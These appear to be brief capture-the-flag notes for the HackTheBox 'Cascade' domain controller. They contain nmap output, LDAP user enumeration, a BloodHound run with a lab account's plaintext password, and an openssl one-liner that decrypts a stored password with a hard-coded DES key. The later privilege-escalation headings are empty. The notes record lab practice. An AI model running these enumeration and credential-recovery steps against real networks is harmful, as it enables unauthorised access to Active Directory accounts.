HackTheBox-Cascade

NMAP

PORT      STATE SERVICE       VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-12-26 11:29:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49170/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-12-26T11:30:38
|_ start_date: 2021-12-26T11:26:31

PORT 139/445 (SMB)

/opt/windap/windapsearch-linux-amd64 -d cascade.local -m users | grep sAMAccountName | awk -F:' ' {'print $2'}

Foothold

ldapsearch -x -LLL -h 10.10.10.182 -D 'cn=USER,ou=users,dc=cascade,dc=local' -b "dc=cascade,dc=local"
cat ldap_info | grep cascade
python3 /opt/Python-Bloodhound/bloodhound.py -d cascade.local -u 'r.thompson' -p 'rY4n5eva' -c all -ns 10.10.10.182

Privilege Escalation (s.smith)

echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

Privilege Escalation (arksvc)

Privilege Escalation (Administrator)

References

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